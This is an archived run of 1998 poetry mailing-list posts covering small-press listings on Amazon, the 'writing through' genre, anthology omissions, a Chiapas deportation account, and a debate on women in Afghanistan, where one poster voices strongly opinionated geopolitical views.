>Content-transfer-encoding: 7bit
>
>
>Greetings!
>
>We receive regular electronic updates to our online catalog from a
>variety of different sources including distributors, publishers, and
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>retailers across the country. It is likely we obtained information on
>many of small press titles from one or more of these sources.
>
>Please know that we in the catalog department are always trying to
>improve the quality of our catalogs listings. We work with many small
>presses each day. We actively help them add books to our catalog, update
>existing listings, and add descriptive materials.
>
>If you have any additional questions or concerns please do not
>hesitate to contact us. Thanks for your interest in Amazon.com!
>
>
>Best Regards,
>
>Hannah Burke
>Catalog Department
>Amazon.com Books
>http://www.amazon.com
>
>
> >X-Mailer: AOL 3.0 for Windows 95 sub 64

> >Subject: small press listings may be wrong?!?
> >To: [redacted]
> >Date: Fri, 17 Apr 1998 19:31:42 EDT
> >From: Aviva99999 <[redacted]>
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> >I have some concerns about the following post I found online. I order (or
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> >interests to be proactive. It would be in amazon.com's best interests to
>be
> >proactive as well.
> >
> >EXCERPT:
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> >lots of small press books that those books were "out of print." Someone
> >alerted me that a Chax book listed with Amazon had that "out of print"
> >status according to amazon, when in fact it was most definitely in print. I
> >checked, and they had virtually all Chax books as out of print, which was
> >false. [This has been corrected by amazon.com]
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> >Others have told me that other small press books
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> >Chax started receiving a few orders from amazon.com
> >whereas before that we had received no such orders from them.
> >
> >
>

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547. **Maz881**
veitch
Wed 22 Apr 1998

Scott, Ron,

Last I heard, Tom Veitch was doing comics for marvel up in Varmint. I like his work a lot: death collage and a novel the title of which i'm blanking on but was published by z or sun. haven't seen any of the comics he's done. lewis warsh might know more about this as he if memory serves is the one to have told me about Veitch's recent whereabouts.

Hey. Gary Lenhart lives in Varmint. Gary, what's up with mr. Veitch?

Bill Luoma
Date: Tue, 21 Apr 1998 21:38:46 EDT
From: Scott Keeney <[redacted]>
Subject: Re: Where are they now?

On Tue, 14 Apr 1998 05:34:37 -0500 [redacted] writes:
>A poet whose work I liked quite a bit during the late 60s, early 70s,
>was Tom
>Veitch, a NYC school (gen 3) poet with a strong spiritual
>undercurrent. He was
>in SF for awhile around the early to mid-70s and then moved, up to
>Sonoma or
>beyond I think. Does anyone know what the man is up to these days?
>
>
>Ron Silliman
>

Just waded through the past few daysworth of messages, disappointed not to see an answer posted. Veitch's bio-part in Padgett/Shapiro _Anthology of NY Poets_ has got to be one of the all-time best contributor's notes, between the tongue-out-eyes-up pic and that "awaiting the painful emergence of god in his flesh" bit, well. (BTW, if anyone has a copy of that book they want to unload for a few hundred pennies, but probably not.) Anyway, anyone know if Sotere Torregian is still alive? & while I'm here, if he published anything after _The Wounded Mattress_, which I was surprised to see is still listed in Books in Print?

Scott

↑ Index

548. **ScoutEW**
Re: for Aram Saroyan from Nikuko Daishin
Wed 22 Apr 1998

crickets
crickets
crickets
crickets
triscuits
triscuits
tricksters
"lighghghgh

550. **MAYHEW**
Some queries
Thu 23 Apr 1998

Is it unhappy or happy families that are all alike?

Does anyone have e-mail addresses for the following poets:

William Carlos William?
Raymond Roussel
Yogi Berra
Jack Spicer?

Why is Spicer's ghost not present in _Poems for the Millenium_?

Who is "John" in Robert Creeley's "I know a man." Is his name really not John? What kind of car was it?

Who is Guillame Apollinaire in Berrigan's line "Guillame Apollinaire is dead"? What is "The Code of the West"?

What is the poetic significance of the ampersand in contemporary poetry? Should it be pronounced "and" or &? How about the quotation marks in _The Descent of Alette_--how are they pronounced and what do they mean?

Why are paragraphs emotional and sentences not? What is Chinese about "The Chinese Notebook"? Is it better to be vile or vile esteemed? Is it "Imaginary qualities of actual things" of "Actual qualities of imaginary things"? What is the difference?

Thanks in advance.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

551. **Judy Roitman**
Re: the "audience" . . ./
Thu 23 Apr 1998

> *Saved this until the info i was seeking surfaced inmy bookpile. I think your reply about 'reading' is worth expanding on, particularly in re visual poetry. When I am 'reading' a visual poem i am 'reading' a painting and my response is a kinetic body response as well as visual. Does someone who sees a visual poem out there without a body response really read it or is it just seen. might explain some peoples' less than enthusiastic*

> *responses to vispo?*
>
> *tom bell*

kinetic body response, yes. To everything.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

552. **Judy Roitman**
Re: Afghanistan
Thu 23 Apr 1998

.
>
>You must realize that Islamic fundamentalists argue that such women
>choose freely

In Afghanistan the women are not choosing freely, they are forced to give up daily activities that they chose, inasmuch as anyone chooses, freely.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
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553. **PRAPRA**
define terms
Thu 23 Apr 1998

Hi everyone, I'm wondering if you could help me with some terminology. I just read an interesting essay which used the terms "supermodernity," and "non-place." While I understand the terms in relation to the essay, I want to use them

more freely but am unclear as to how proper the context is for them. i.e. how do these terms relate to post-colonial theory? I apologize if this is a bit unclear but I don't have the article in front of me which basically discusses these terms in relation to airports,atms, technology, and identity. Basically, I am just asking you to associate what you know about these terms because I want to talk about them in relation to experimental theater. I want to discuss "non-place" as a point of departure for the artist but I may be just liking the term. Anyway, I just value some thoughts as well as the academics here who understand the contexts and will set me straight if I need to be. thank you, Prageeta Sharma.

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554. Elizabeth Hatmaker
Re: Afghanistan
Thu 23 Apr 1998

Morpheal,

It sucks that we live in a time when every motivation can be used by "those in power" to control the lives of others. Indeed, to suggest that fundamental Islam is somehow an unreasonable choice for women is to remove their agency (a human right by most people's standards) and I suspect westoxification is one of the main reasons that fundamental Islam has had a resurgence.

And I see/fear how demanding "agency" is more cynically used (not that you seem to be doing this in your post) to condone both apathy and exploitation: "poor people like to live in the slums," "those people working in sweatshops make a decent living by third world standards and they took the job." "We should be taking care of people in this country before we worry about other countries"

And, of course, Pol Pot dies piecefully in his sleep --rhetorical hammer to the head that that statement is.

Can I think of who might gain by refraining from intervention in women's rights in Afghanistan? Might it be, creepily enough, the same people who might benefit by intervening in a different culture? If this is the case, what agency do these women have, both on an individual level and on a cultural level?

-- oh and apologies for my misinformation on Sotere Torrigian. As it is cold and rainy on the East Coast, living in California sounds much better than Philly.

Elizabeth Hatmaker

↑ Index

555. **morpheal**
Re: define terms
Thu 23 Apr 1998

> *Hi everyone, I'm wondering if you could help me with some terminology. I just read an interesting essay which used the terms "supermodernity,"*

I am not at all sure that I could seriously assist with that...but....

Supermodernity must be new ? Never seen the term in philosophical usage before, though I was quite familiar with postmodern in that sense of it.

Supermodernity comes after postmodernity ? Seems that we would then end up at Postsupermodernity ? What then ? Supersupermodernity ? Postsupersupermodernity ? Ad infinitum ?

> *them more freely but am unclear as to how proper the context is for them. i.e. how do these terms relate to post-colonial theory?*

What post-colonial theory ? Is someone referring to post British colonialism ? That came BEFORE modernity and post-modernism.

American colonialism ? That is only beginning in this latter 25 years of the 20th century. The zenith of American colonialism, whether for good or ill remains to be seen, shall be in the 21st century.

There are other colonialisms currently in the world. Islamic colonialism is the major one, exerting its influence mostly in Southern and Southeast Asia and in Africa. Though not exclusively there. There are Islamic colonies in America, today, mostly amongst black muslims. Similarly Islamic colonies in Europe and Britain.

Those are the two major colonial powers today and into the next century, the American, meaning the United States of America, and the Islamic (which is a looser but not necessarily more free association of states having common intentiosn and ideology)....

Marxist colonialism is dead as a doornail.

> *to discuss "non-place" as a point of departure for the artist but I may be just liking the term. Anyway, I just value some thoughts as well as the academics here who understand the contexts and will set me straight if I need to be.*

Is "non place" something essentially political ? Claims of geographic control are replaced by "non geographic" or "non place" economic and socio-political colonialism where control and influence do not have physical geographic boundaries. Art then would be tending to reflect that very tendency towards socio-political "non place" would it not ?

Though I know I have diverged from the original intentions, I think it is nevertheless relevant.

M.

↑ Index

556. **morpheal**
Re: Afghanistan
Thu 23 Apr 1998

> *You must realize that Islamic fundamentalists argue that such women choose freely*
>
> *In Afghanistan the women are not choosing freely, they are forced to give up daily activities that they chose, inasmuch as anyone chooses, freely.*

I see it that way too...as an outsider.

I also understand what psychological warfare and brain washing is about.

The element of a psychological "jihad" (holy war) is increasingly prevalent, and we get some of the mild backwash from the massive waves out there, that we hardly notice here in our sheltered harbours. They are absolutely swamped with it. Their minds become saturated. What then ?

Has anyone taken the matter to the United Nations ?

That is the appropriate forum for international debate on that subject.

Would you go so far as to empower a United Nations force, with sufficient military muscle, to effectively change the situation that you, and others, feel needs to be changed, if negotiated and mediated settlements fail to resolve the matter ? After all, mediation in political matters, is worthless without backing it up with military might sufficient to enforce.

Ultimately, as a last resort, to save and protect the freedoms of those people, in terms of safeguarding them from the jeopardies you see inflicted upon them, to end the physical and mental (brain washing) violence that imposes what you see as such harsh conditions, is it what you would choose to spill blood over ?

Do you see any viable alternatives ?

I agree that it is horrible. Definitely absolutely horrible. I am simply asking, how far are you willing to go, or do you suggest going, in terms of effective action ?

M.

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557. **Don Cheney**
Re: veitch
Thu 23 Apr 1998

bill

it's EAT THIS! and THE LUIS ARMED STORY

and ANTLERS IN THE TREETOPS (w/ron padgett)

don

> *Scott, Ron,*
>
> *Last I heard, Tom Veitch was doing comics for marvel up in Varmint. I like his work a lot: death collage and a novel the title of which i'm blanking on but was published by z or sun. haven't seen any of the comics he's done. lewis warsh might know more about this as he if memory serves is the one to have told me about Veitch's recent whereabouts.*
>
> *Hey. Gary Lenhart lives in Varmint. Gary, what's up with mr. Veitch?*
>
> *Bill Luoma*
> *++*
> *Date: Tue, 21 Apr 1998 21:38:46 EDT*
> *From: Scott Keeney <[redacted]>*
> *Subject: Re: Where are they now?*
>
> *On Tue, 14 Apr 1998 05:34:37 -0500 [redacted] writes:*
> *A poet whose work I liked quite a bit during the late 60s, early 70s, was Tom*
> *Veitch, a NYC school (gen 3) poet with a strong spiritual undercurrent. He was*
> *in SF for awhile around the early to mid-70s and then moved, up to Sonoma or*
> *beyond I think. Does anyone know what the man is up to these days?*
>
> *Ron Silliman*
>
> *Just waded through the past few daysworth of messages, disappointed not to see an answer posted. Veitch's bio-part in Padgett/Shapiro _Anthology of NY Poets_ has got to be one of the all-time best contributor's notes, between the tongue-out-eyes-up pic and that "awaiting the painful emergence of god in his flesh" bit, well. (BTW, if anyone has a copy of that book they want to unload for a few hundred pennies, but probably not.)*
> *Anyway, anyone know if Sotere Torregian is still alive? & while I'm here, if he published anything after _The Wounded Mattress_, which I was*

> *surprised to see is still listed in Books in Print?*
>
> *Scott*
> ++

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558. **daniel bouchard**
Re: Jeff Conant
Thu 23 Apr 1998

Anselm Berrigan asked me to forward this to the list.

>
> As you probably know by now, Jeff & eleven others were banned for
>life from Mexico last week & also accused of violating the Mexican
>constitution. Jeff had been in touch with Greg Fuchs via e-mail & had told
>Greg he thought something like this would happen soon, as the army had been
>cracking down on zapatista-sympathetic villages around Chiapas for some
>time. According to Jeff, they were rousted by about 1,000 soldiers in the
>middle of the night. They were not officially arrested, but were taken from
>the village forcibly & prevented from contacting anyone until a certain
>point when they were allowed to contact the American consulate in order to
>be deported. Jeff said they were punched, slapped & prodded with M-16s ("not
>too hard") by soldiers, some of whom covered their faces. They were bruised
>but not severely hurt, tho' Jeff's friend Michael had only stopped urinating
>blood by this past Thursday.
> Jeff seemed pretty composed on Fri. night, but he's worried about
>the Mexicans in the village where he'd been staying; reports were coming to
>him that villagers were disappearing in large numbers & the village had been
>mostly burned down. Jeff & his friends were working during the week at
>finding out what was happening & also relaying this information to the
>Mexican press, which apparently doesn't cover or doesn't have access to what
>seems to be happening. None of the foreigners were allowed to take any of
>their belongings with them; Jeff has been trying to figure out how to get
>his laptop with all his writings back, but it didn't sound very likely.
> Apparently the crackdown came not too long after a Zapatista
>ceremony during which a piece of land in Chiapas was declared autonomous.
>Jeff & the others claimed to be witnesses, to have been present at the
>ceremony only as witnesses. They were, at least Jeff & the other two
>Americans, part of an organization whose name escapes me but whose work is
>that of agricultural development in the Indian regions of south Mexico. A
>week or two before these events a friend of Jeff's, a Mexican in one of the

>villages (possibly the village Jeff was staying in) was killed by a
>soldier(s) who took a machete to his skull.
> Jeff is in Washington DC right now, having been flown along with
>Michael & the other American, a woman named Travis, to DC for a conference
>on Chiapas that had been previously scheduled. Jeff always said Chiapas was
>in a state of undeclared war, & he was saying Fri. night that he thought a
>full-fledged war was likely to break out in the coming weeks. According to
>Jeff there has been no fighting on the part of the Zapatistas since the
>initial uprising in 1994. He also said the Mexican govt. doesn't realize
>that the number of Zapatista supporters (& I'm not sure if he meant chiapas
>exclusively or the whole of Mexico) is in the range 0f 100,000. But he
>doesn't think the Zapatistas themselves are well-equipped for any kind of
>prolonged fighting. I suspect there will be more information forthcoming on
>the whole situation. I may have some of the details slightly wrong, but I
>think Jeff wants the information to be circulated as widely as possible.
>
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

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559. **morpheal**
Re: Afghanistan - Some prophecies....for the millenium
Thu 23 Apr 1998

> *It sucks that we live in a time when every motivation can be used by "those in power" to control the lives of others. Indeed, to suggest that fundamental Islam is somehow an unreasonable choice for women is to remove their agency (a human right by most people's standards) and I suspect westoxification is one of the main reasons that fundamental Islam has had a resurgence.*

The availability of hard and soft science, technology in effect, has furthered the conflict, mostly by providing the means of influence, and external control. Even highly educated people, if without very specialized experience and training, tend to be mere dupes to the systems in effect. Systems that are in effect even

in the most "primitive" locations, such as Afghanistan. A lot of the tech is long range and hard to track down as to origins, and most of it is quite accessible "off the shelf" to those with the know how to build and use it.

I suppose the equivalent of Radio Free Europe is Radio Free Afghanistan, courtesty of a different source and different concepts of freedom. Tehran has strong interests in the whole region, so we can expect their support for Islamic fundamentalist broadcasting. Of course that is only one piece of the ideological pie, and there is a lot more to the covert and the overt activity than that.

Of course, American believed in RFE, and those who broadcast Islamic broadcasts and messages, by whatever means they happen to use, believe in that. There is the unresolvable conflict. They are willing to die for their beliefs and the rightness of what they do.

You can see where that leads.

They get a different poem, the Koran, running through their heads, over and over again, until they completely mesmerized by it and the accompanying message as to what is right, what one ought to do, how one ought to live.....

What poem would we replace their poem with ? Replacing it with the Bible ? That is as bad as what they do. Though some would argue otherwise.

What then ? The constitution of the USA or the Declaration of Independence ? That's a different poem. They would not understand a word of it, even in translation. They would only resent the strange, foreign, and to them essentially irrelevant, verses.

This is not the same world as in the year 900, but some hold to the same aggenda, using the new methods of conquest over human minds, customs, beliefs, ways of life. Heretics shall be stigmatized, persecuted, and put to death by means that will frighten others away from any dissent and heresy. Conquest of the human mind and conquest of the population are very much a part of any program towards hegemony in that region by those who empower selves by technology and force of arms, to impose their will upon it. Iran, as do other Islamic states, has great ambitions and sees itself as having a special mission in this world. Does that sound familiar as regards other would be or actual great powers ? Rome, Spain, Britain, America,...It is our history. They are no different, really. Another would be empire. Our history is the bloody and violent history of power against power, and empire against empire. It began as tribe against tribe. Nothing really poetic in that, or is there ?

The Soviets attempted to counter force with force, brain washing with brain washing,...and failed, suffering severe casualties and experiencing a political, economic and human wound the likes of which they had not seen since WWII. Many soldiers returned half insane, as well as physically the victims, of the

conflict. It was a conflict on two levels. The mental and the physical. The Soviet effort had no European and American overt support, only criticism.

That is all indicative.

Worse that those areas least able to provide sustenance in the long term, are encouraged to rapid population growth. Why, we might ask ? The old principle of fodder for the guns. The machinery of conquest still involves highly brain washed, die hard, believers in an ideology who are willing to enter into imposition of their beliefs upon others by means of force of arms. If a power lacks enough guns and sophisticated weaponry, they choose force of numbers. They gamble that any opposition will flinch away from leaving a heap of dead bodies on the battle field of high principles. A million men wielding pitchforks is a formidable political weapon, no matter how we look at it. It is hard to send in the marines to kill them off, without suffering extreme political damage at home and abroad. So it is a dual force of numbers, as deterent and the planet can scrace afford such rapid population growth in its most fragile and least sustaining regions before something explodes violently. That is what we are faced with into the next century. That explosion of over population in regions encouraged to it by the ideological opposition to what we hold true.

If we do the same, as to our beliefs, there is always the argument that "might does not make right", and that "one is as bad as the other", or "two wrongs" to discourage the backing of intervention with effective power. And if nothing is done then what does it say ?

On the other hand pacifism local to the violence, as a reaction to violence, leaves the pacifist dead. That is victory for those who choose violence against pacifism. Mahatma Gandhi today is nothing more than a man who would sit in front of a tank and be crushed under its treads. More like a man attempting to stop a freight train. Gandhi would not have been spared in today's violent world.

Thus is it that all that is left are the principles, the basic beliefs, concerning human freedoms of belief, expression, the press, association, democratic institutions,....that we might be willing to use violence to uphold and safeguard as well as promote to other parts of the world in hope of some kind of salvation there before the kettle boils over and becomes that sea of deliberately overpopulated anger turned to a sea of blood. that is in part the legacy of Catholicism, Marxism and now Islamization of those parts of the world?

What are those who believe those human freedoms willing to put on the line ? There is that or isolationism. I do not know any other answer. I wish I did know another answer, but I cannot find any. In that sense George Bush was more right about the dangers than those who foresaw a less perilous course for the planet.

Remember too that economic embargos are very violent actions, and require military force to effectively impose and maintain them. They are a weapon of war in the cloak of diplomacy. They occur after diplomacy has already failed.

> *And I see/fear how demanding "agency" is more cynically used (not that you seem to be doing this in your post) to condone both apathy and exploitation: "poor people like to live in the slums," "those people working in sweatshops make a decent living by third world standards and they took the job." "We should be taking care of people in this country before we worry about other countries"*

It is horrible...what happens. There are no easy answers. Sometimes there are no answers of any kind.

> *And, of course, Pol Pot dies piecefully in his sleep --rhetorical hammer to the head that that statement is.*

What stirred up the Khmer Rouge to their orgy of blood and death ? I assure you it was NOT Pol Pot. Believe in such leaders if you want to, but they are only pawns in the larger scenario. It was, I have every reason to believe, Sino-Soviet involvement in the region, taking advantage of the local beliefs and conditions, that ultimately led to that bloodbath. Pol Pot was merely a dupe of a foreign power. Little more than that. A manipulated figurehead in that largest deadliest and most dangerous game.

Should a western, American led, force have gone in and occupied and pacified the region, returning it to sanity and democratic norms ? At what cost ?

Apply that same question to Afghanistan or anywhere else.

> *Can I think of who might gain by refraining from intervention in women's rights in Afghanistan? Might it be, creepily enough, the same people who might benefit by intervening in a different culture? If this is the case, what agency do these women have, both on an individual level and on a cultural level?*

I do not believe for a moment that women are the only sufferers.

All people there are the sufferers. The men, the women, and the children all suffer and shall suffer from it. Too much emphasis on what women suffer means that the difficulties there have not been well enough understood.

> *-- oh and apologies for my misinformation on Sotere Torrigian. As it is cold and rainy on the East Coast, living in California sounds much better than Philly.>Elizabeth Hatmaker*

I gave up listening to weather reports, long ago. Contrary to getting all the news I need on the weather report, there was far too much news on the weather reports...(apologies to Paul Simon)

Anyway, I like the weather in Canada, and apart from some instances of natural grandeur and architectural fascination, there is nothing that really attracts my interest south of the border. I am too poverty stricken to travel in the USA anyway, as much as I would like to see the sights someday. Being a visual artist, amongst other things, that is particularly difficult to accept as something I cannot really do anything about.

M.

↑ Index

560. Billy Little
He regrets that he has never been to Philadelphia.
Thu 23 Apr 1998

---

he never saw the final duchamp, why fields would rather be there and Camden across the river for Whitmaniacs

↑ Index

561. Rachel Levitsky
Re: Bachelard's take
Thu 23 Apr 1998

Morpheal--

I came across this and thought of our bookstore dx:

"A man is a man insofar as he is a superman. A man must be defined by the tendencies which impel him to go beyond the _human condition_. Any psychology of the mid in action is automatically the psychology of an exceptional midn, one tempted by the excetion of a new image grapfted upon an old one. The imagination invents more thatn things and actions, it invents new life, new spirit;it opens eyes to new types of vision. The imagination will see only if it has _visions_." (_On Poetic Imagination and Reverie_, p. 16)

I doubt I agree that such a mind has to be exceptional, perhaps it is such a spirit that is so in our Prozac nation. I always thought the great irony about activists is that they who are accused of being so cynical and sour are the most innocent really, always trying and trying again, in the manner of wiley coyote?

I think in the situation of women in Afganistan, like the situation of female genital mutilation, is one of conscience. If you are watching it and it strikes you it is torture, mustn't you reach out to stop it? I would just caution that before judging the tortures of other cultures we make sure we are vigilant of what is happening in our own. How many of us grew up in homes where there existed a conspiracy of silence around sexual, verbal or physical abuse?

rdl

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562. MAYHEW
a more serious query
Thu 23 Apr 1998

My tongue in cheek inadvertently hit the list at a time more sombre issues are at the fore (sorry for those mixed metaphors).

I do have a more serious poetics question. I am thinking about genre in which a poet "writes through" the work of a precursor. Duncan's H.D. book or his homage to Stein, Spicer's _After Lorca_, Cage's "writing through" various authors (Pound, Joyce, etc...), Rothenberg's _The Lorca Variations_.

1. Any other good examples of this occur to any of you?
2. What would be a good name for this "genre"?

You may "British Columbia" me-- or post to the list if you think this might be of interest to others as well.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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563. k. lederer
EXPLOSIVE #5 BENEFIT
Thu 23 Apr 1998

The EXPLOSIVE #5 benefit has been scheduled! Mark your calenders:

Saturday, May 30th
8:00 pm
Segue Performance Space
NYC

EXPLOSIVE #5 will be featuring work by:

Emily Wilson, Martin Corless-Smith, Ishmael Klein, DA Powell, Josh May, Alex Cory, Tan Lin, Pam Lu, and Juliana Spahr

The benefit will feature readings by:

Jen Hofer, Max Winter, Anselm Berrigan.... and many many as yet unscheduled readers.....

COME!

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564. L.MacMahon and T.R.Healy

Re: a more serious query

Thu 23 Apr 1998

It would be a shame not to mention _EVOBA_ by Steve McCaffery an exhilarating and subtle remodelling of Wittgenstein's Philosophical Investigations published by The Coach House Press Toronto in 1987.

Randolph Healy

A quote from EVOBA:

The writer enters with a sign around his neck
that reads:

TAKE YOURSELF SERIOUSLY

there is a blank space where
the faces of the audience should be
he writes in that space about
the spaces used to fill it:

_under the pen is a fish-mouth
inside the mouth is a stone

in the stone runs a river entering
a porch by a pebble fence

by the fence is another way
which leads to a lake

over the lake a green parrot
is made to fly

low and close to
the level of a different lake

it is made to observe itself
but it disappears beneath the surface

of the word_

water

_the water in this space
disappears_

a reader enters.

At 13:26 23/04/98 -0500, you wrote:
>My tongue in cheek inadvertently hit the list at a time more sombre issues
>are at the fore (sorry for those mixed metaphors).
>
>I do have a more serious poetics question. I am thinking about genre in
>which a poet "writes through" the work of a precursor. Duncan's H.D. book
>or his homage to Stein, Spicer's _After Lorca_, Cage's "writing through"
>various authors (Pound, Joyce, etc...), Rothenberg's _The Lorca
>Variations_.
>
>1. Any other good examples of this occur to any of you?
>2. What would be a good name for this "genre"?
>
>You may "British Columbia" me-- or post to the list if you think this
>might be of interest to others as well.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]
>[redacted]
>
>

↑ Index

565. **Billy Little**
Re: a more serious query
Thu 23 Apr 1998

---

michael Ondaatje collected billy the kid
sharon thesen's confabulations

↑ Index

566. **Karen Kelley**
Re: the situation of women in Afganistan
Thu 23 Apr 1998

Okay, this may sound/be politically incorrect, but here goes:

Rachel Levitsky wrote:

> *If you are watching it*
> *and it strikes you it is torture, mustn't you reach out to stop it? I*

> *would just caution that before judging the tortures of other cultures we make sure we are vigilant of what is happening in our own.*

I think we also have to admit & be aware of our lack of understanding of other cultures, for one thing. Perhaps a hallmark of our own culture is the need to intervene. The Islamic culture is deep and deeply foreign, at least to me, and it seems...well, American, to have this impulse to "fix" it. No doubt there is pain and oppression in Afganistan, but to think we can/should judge &/or "fix" it seems, I dunno...patriarchal?....presumptuous? Anyone who really feels MOVED by this issue ought to do some serious research into the LONG history that culminates in this situation we're so cavalier about dismissing as wrong wrong wrong.

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567. **Karen Kelley**
oops, AfgHanistan
Thu 23 Apr 1998

See, I said I didn't know enough to challenge their culture!

↑ Index

568. **Schuchat Simon**
Re: a more serious query
Thu 23 Apr 1998

---

as for "writing through"

Ted Berrigan's THE COMPLETE PRELUDE is put together from Wordsworth's The Prelude in a manner similar to Johnson's RA D I OS etc, as is Berrigan's novel CLEAR THE RANGE which is a re-visioning of Max Brand.

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569. **morpheal**
Re: He regrets that he has never been to Philadelphia.
Thu 23 Apr 1998

> *he never saw the final duchamp, why fields would rather be there and Camden across the river for Whitmaniacs*

I was there and did see the Duchamp. Museum of Art. Definitely worth seeing.

Camden, though, is one of the most squalid places on Earth. Almost a ruin of boarded up and falling down buildings. Street after street of them. People living in there. A quick turn around and back across the bridge into civilization....

M.

↑ Index

570. **Gwyn McVay**
"writing through"
Thu 23 Apr 1998

---

another example--has anyone already posted this? my server is out of order--if so I'll just have to blush--is Jackson Mac Low's /Words Nd Ends From Ez/, if I have that spelling right.

Gwyn

↑ Index

571. **Stephen Cope**
Re: "writing through"
Thu 23 Apr 1998

John Cage's works clearly fit into this genre, and as for more recent examples, there's Joel Kuzsai's ongoing work with Elizabethan materials (Meow's done some).

Stephen

↑ Index

572. **Don Byrd**
Re: a more serious query
Thu 23 Apr 1998

MAYHEW wrote:

> *I do have a more serious poetics question. I am thinking about genre in which a poet "writes through" the work of a precursor.*
>
> *1. Any other good examples of this occur to any of you?*

Ron Johnson's _Rad i os_ (which is made by erasing pieces from Pa(radi)se L(os)t
Robert Kelly's _Mont Blanc_
And, of course, Mac Low's many homages

There are also Duncan's early setting to new meters of Shelley and Milton, a good chunk of the Cantos, writing through many different texts...

I just got an amazing book manuscript from Jed Rasula that includes a long poem (30 pages or more, that is selected words and phrases from James's _The

Ambassadors_ in the order they appear in the original text). In fact, I should add, in case some of the publishers on the list are listening, this is one of the most important collections of poems I have seen in ten years.

As to genre, I am not sure this particular device constitutes a unified genre. Often they might be thought of as belonging to the homage, but that is not always the case, at least in any very direct sense, of _Radi os_. Perhaps the back-handed homage.

In a note to "The Ambassadors," Rasula says that he feels that in a work as gloriously multitudinous as James's, there are any number of other works waiting for someone to release them. Actually, I see that he says it much better than that: "The poem enacts a longstanding conviction that James's syntax, cadences and analogies subtly conspire to germinate works within his works which merit emanicpation to another order of events."

And, I see no reason why works, thus emancipated, should belong to a particular genre. It is perhaps not generic but an order of translation.

db

****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

573. Hugh Steinberg
Re: a more serious query
Fri 24 Apr 1998

Jonathon Mayhew writes:

>I do have a more serious poetics question. I am thinking about genre in
>which a poet "writes through" the work of a precursor. Duncan's H.D. book
>or his homage to Stein, Spicer's _After Lorca_, Cage's "writing through"
>various authors (Pound, Joyce, etc...), Rothenberg's _The Lorca
>Variations_.
>
>1. Any other good examples of this occur to any of you?
>2. What would be a good name for this "genre"?
>

I think there are two categories at work here: imitations/translations/ reenactments such as Stephen Berg's "With Akhmatova at the Black Gates" or Robert Lowell's "Imitations" and writing through or overwriting, where a poet takes a text and creates a new text by erasing portions of it. My two favorite examples of this genre are Ronald Johnson's "Radi Os" and Tom Phillips's "A Humument."

Has any critical work been done on or about erasure-type poems?

Hugh Steinberg

↑ Index

574. Miekal And
codex "writing through"
Fri 24 Apr 1998

my book RAW.SWAY.ALOUD is reconstructed from the Modoc-English dictionary of 1909.

my book 21 Refrains from Body Laws was channelled (ala Hannah some years before I met her) from the OED.

Xexoxial publishes Crag Hill's book Dict which likewise is a very pristine rereading of dictionary fragments.

back to planting

miekal

↑ Index

575. Marcella Durand
Chiapas
Fri 24 Apr 1998

Dan & Anselm--thanks for posting what's going on. It's important to be made aware of it. Jeff & friends sound amazingly courageous in the face of "urinating blood" and being prodded with rifles, as well as losing writings. Keep us posted.

↑ Index

576. rsillima
The Book of Absences
Fri 24 Apr 1998

Jonathon Mahew's question about the lack of Spicer in Poems for the Millenium (vol. 2) is a good one, given that if you reduced the last 50 years of English

language poetry to just, say, 20 people, Spicer would have to be among them. Maybe even to 10 people. Maybe even to five.

It's really devastating for the book's credibility, even more than the inclusion of anyone who ever attended a Fluxus event (or the inclusion of songwriters a la Tom Waits, Robert Johnson and Dizzy Gillespie, all of which makes them seem like doofuses, which none ever were [not to mention the thereby curious absence of Jim Morrison or Leonard Cohen or Nanci Griffith or Public Enemy or Lennon & McCartney or the Glimmer Twins or Bob Dylan, if one is seriously trying to include the antipoetics of song]).

But Spicer's absence, even tho it's on a scale of missing Stein or Pound, isn't alone. I note the following omissions: Benson, Brautigan, Bromige, Bronk, Ceravolo, Thomas A. Clark, Corbett, Curnow [father & son], Dahlen, Darragh, Davey, Davidson, Dewdney, Dudek, Estrin, Fraser, Grahn, Grenier, Guest, Hickman, Hocquard, F. Howe, Inman, Ron Johnson, Jonas, Koch, Kulik, Kyger, Lansing, Mandel, Marlatt, Melnick, Moriarty, Mullen, Natambu, Padgett, Parshchikov, Pearson, Pickard, Pleynet, Prigov, Robinson, Roche, Roubaud, Schuyler, Scott, Stanford, Stanley, Thomas, Tomlinson, Tysh (either one), Wah, Welch, Jonathon Williams, Zhdanov.... And that's just a one-time perusal of the index and the glaringly obvious omissions from traditions I have some feel for. One can probably make the argument that the book is also amazingly Americocentric, tho the roster above wouldn't particularly solve that problem.

This really isn't a Pierre & Jerry issue, tho the Spicerlessness of it all is a "gotcha" that foregrounds the problem. In the American Tree is certainly vulnerable to the question of why McCaffery or Dahlen or Scalapino, say, are not there. And the absence of Joanne Kyger, easily the most influential progressive woman poet of the 1960s and '70s, from Moving Borders is every bit as much a boggler as Spicer's lacuna here.

Anthologies are, in this sense, impossible. Everyone is going to have a blind spot, since the last I checked everyone was still human and full of such frailty. It's why I used such a sociological definition for determining inclusion in the Tree. Tho, of the poets who met the formal terms I used, I still managed to miss Abby Child, which looks really dumb from the hindsight of 14 years.

Ron Silliman

↑ Index

577. Pierre Joris
Re: "writing through"
Fri 24 Apr 1998

Robert Kelly's _Mont Blanc_ (a writing-through of Shelley's poem of the same title). My own _Reading/Writing_ sequences in _Breccia_. & many many others. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

↑ Index

